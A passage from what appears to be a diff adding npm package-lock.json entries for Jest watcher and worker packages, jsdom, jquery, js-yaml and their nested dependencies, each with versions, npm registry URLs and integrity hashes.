+    "node_modules/jest-validate/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-validate/node_modules/pretty-format/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-validate/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-validate/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watch-typeahead": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz",
+      "integrity": "sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==",
+      "dependencies": {
+        "ansi-escapes": "^4.3.1",
+        "chalk": "^4.0.0",
+        "jest-regex-util": "^28.0.0",
+        "jest-watcher": "^28.0.0",
+        "slash": "^4.0.0",
+        "string-length": "^5.0.1",
+        "strip-ansi": "^7.0.1"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "peerDependencies": {
+        "jest": "^27.0.0 || ^28.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@jest/console": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/@jest/console/-/console-28.1.3.tgz",
+      "integrity": "sha512-QPAkP5EwKdK/bxIr6C1I4Vs0rm2nHiANzj/Z5X2JQkrZo6IqvC4ldZ9K95tF0HdidhA8Bo6egxSzUFPYKcEXLw==",
+      "dependencies": {
+        "@jest/types": "^28.1.3",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "jest-message-util": "^28.1.3",
+        "jest-util": "^28.1.3",
+        "slash": "^3.0.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@jest/console/node_modules/slash": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+      "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@jest/test-result": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-28.1.3.tgz",
+      "integrity": "sha512-kZAkxnSE+FqE8YjW8gNuoVkkC9I7S1qmenl8sGcDOLropASP+BkcGKwhXoyqQuGOGeYY0y/ixjrd/iERpEXHNg==",
+      "dependencies": {
+        "@jest/console": "^28.1.3",
+        "@jest/types": "^28.1.3",
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "collect-v8-coverage": "^1.0.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@jest/types": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-28.1.3.tgz",
+      "integrity": "sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==",
+      "dependencies": {
+        "@jest/schemas": "^28.1.3",
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^17.0.8",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@types/yargs": {
+      "version": "17.0.13",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.13.tgz",
+      "integrity": "sha512-9sWaruZk2JGxIQU+IhI1fhPYRcQ0UuTNuKuCW9bR5fp7qi2Llf7WDzNa17Cy7TKnh3cdxDOiyTu6gaLS0eDatg==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-watch-typeahead/node_modules/emittery": {
+      "version": "0.10.2",
+      "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz",
+      "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sindresorhus/emittery?sponsor=1"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-message-util": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-28.1.3.tgz",
+      "integrity": "sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==",
+      "dependencies": {
+        "@babel/code-frame": "^7.12.13",
+        "@jest/types": "^28.1.3",
+        "@types/stack-utils": "^2.0.0",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "micromatch": "^4.0.4",
+        "pretty-format": "^28.1.3",
+        "slash": "^3.0.0",
+        "stack-utils": "^2.0.3"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-message-util/node_modules/slash": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+      "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-regex-util": {
+      "version": "28.0.2",
+      "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-28.0.2.tgz",
+      "integrity": "sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==",
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-util": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-28.1.3.tgz",
+      "integrity": "sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==",
+      "dependencies": {
+        "@jest/types": "^28.1.3",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "ci-info": "^3.2.0",
+        "graceful-fs": "^4.2.9",
+        "picomatch": "^2.2.3"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-watcher": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-28.1.3.tgz",
+      "integrity": "sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==",
+      "dependencies": {
+        "@jest/test-result": "^28.1.3",
+        "@jest/types": "^28.1.3",
+        "@types/node": "*",
+        "ansi-escapes": "^4.2.1",
+        "chalk": "^4.0.0",
+        "emittery": "^0.10.2",
+        "jest-util": "^28.1.3",
+        "string-length": "^4.0.1"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/string-length": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
+      "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
+      "dependencies": {
+        "char-regex": "^1.0.2",
+        "strip-ansi": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/pretty-format": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-28.1.3.tgz",
+      "integrity": "sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==",
+      "dependencies": {
+        "@jest/schemas": "^28.1.3",
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^18.0.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/pretty-format/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/react-is": {
+      "version": "18.2.0",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz",
+      "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w=="
+    },
+    "node_modules/jest-watch-typeahead/node_modules/slash": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz",
+      "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/string-length": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/string-length/-/string-length-5.0.1.tgz",
+      "integrity": "sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==",
+      "dependencies": {
+        "char-regex": "^2.0.0",
+        "strip-ansi": "^7.0.1"
+      },
+      "engines": {
+        "node": ">=12.20"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/string-length/node_modules/char-regex": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-2.0.1.tgz",
+      "integrity": "sha512-oSvEeo6ZUD7NepqAat3RqoucZ5SeqLJgOvVIwkafu6IP3V0pO38s/ypdVUmDDK6qIIHNlYHJAKX9E7R7HoKElw==",
+      "engines": {
+        "node": ">=12.20"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/strip-ansi": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.0.1.tgz",
+      "integrity": "sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==",
+      "dependencies": {
+        "ansi-regex": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/strip-ansi?sponsor=1"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/strip-ansi/node_modules/ansi-regex": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz",
+      "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-regex?sponsor=1"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watcher": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.5.1.tgz",
+      "integrity": "sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==",
+      "dependencies": {
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "ansi-escapes": "^4.2.1",
+        "chalk": "^4.0.0",
+        "jest-util": "^27.5.1",
+        "string-length": "^4.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-watcher/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-watcher/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-watcher/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-watcher/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-watcher/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-watcher/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-watcher/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-watcher/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watcher/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-worker": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
+      "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
+      "dependencies": {
+        "@types/node": "*",
+        "merge-stream": "^2.0.0",
+        "supports-color": "^8.0.0"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      }
+    },
+    "node_modules/jest-worker/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-worker/node_modules/supports-color": {
+      "version": "8.1.1",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+      "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/supports-color?sponsor=1"
+      }
+    },
+    "node_modules/jquery": {
+      "version": "3.6.1",
+      "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.6.1.tgz",
+      "integrity": "sha512-opJeO4nCucVnsjiXOE+/PcCgYw9Gwpvs/a6B1LL/lQhwWwpbVEVYDZ1FokFr8PRc7ghYlrFPuyHuiiDNTQxmcw==",
+      "peer": true
+    },
+    "node_modules/js-sdsl": {
+      "version": "4.1.4",
+      "resolved": "https://registry.npmjs.org/js-sdsl/-/js-sdsl-4.1.4.tgz",
+      "integrity": "sha512-Y2/yD55y5jteOAmY50JbUZYwk3CP3wnLPEZnlR1w9oKhITrBEtAxwuWKebFf8hMrPMgbYwFoWK/lH2sBkErELw=="
+    },
+    "node_modules/js-tokens": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+      "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="
+    },
+    "node_modules/js-yaml": {
+      "version": "3.14.2",
+      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz",
+      "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==",
+      "dependencies": {
+        "argparse": "^1.0.7",
+        "esprima": "^4.0.0"
+      },
+      "bin": {
+        "js-yaml": "bin/js-yaml.js"
+      }
+    },
+    "node_modules/jsdom": {
+      "version": "16.7.0",
+      "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.7.0.tgz",
+      "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==",
+      "dependencies": {
+        "abab": "^2.0.5",
+        "acorn": "^8.2.4",
+        "acorn-globals": "^6.0.0",
+        "cssom": "^0.4.4",
+        "cssstyle": "^2.3.0",
+        "data-urls": "^2.0.0",
+        "decimal.js": "^10.2.1",
+        "domexception": "^2.0.1",
+        "escodegen": "^2.0.0",
+        "form-data": "^3.0.0",
+        "html-encoding-sniffer": "^2.0.1",
+        "http-proxy-agent": "^4.0.1",
+        "https-proxy-agent": "^5.0.0",
+        "is-potential-custom-element-name": "^1.0.1",
+        "nwsapi": "^2.2.0",
+        "parse5": "6.0.1",
+        "saxes": "^5.0.1",
+        "symbol-tree": "^3.2.4",
+        "tough-cookie": "^4.0.0",
+        "w3c-hr-time": "^1.0.2",
+        "w3c-xmlserializer": "^2.0.0",
+        "webidl-conversions": "^6.1.0",
+        "whatwg-encoding": "^1.0.5",
+        "whatwg-mimetype": "^2.3.0",
+        "whatwg-url": "^8.5.0",
+        "ws": "^7.4.6",
+        "xml-name-validator": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "peerDependencies": {
+        "canvas": "^2.5.0"
+      },
+      "peerDependenciesMeta": {
+        "canvas": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jsesc": {
+      "version": "2.5.2",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
+      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+      "bin": {
+        "jsesc": "bin/jsesc"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/json-parse-even-better-errors": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
+      "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="
+    },
+    "node_modules/json-schema": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
+      "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA=="
+    },
+    "node_modules/json-schema-traverse": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
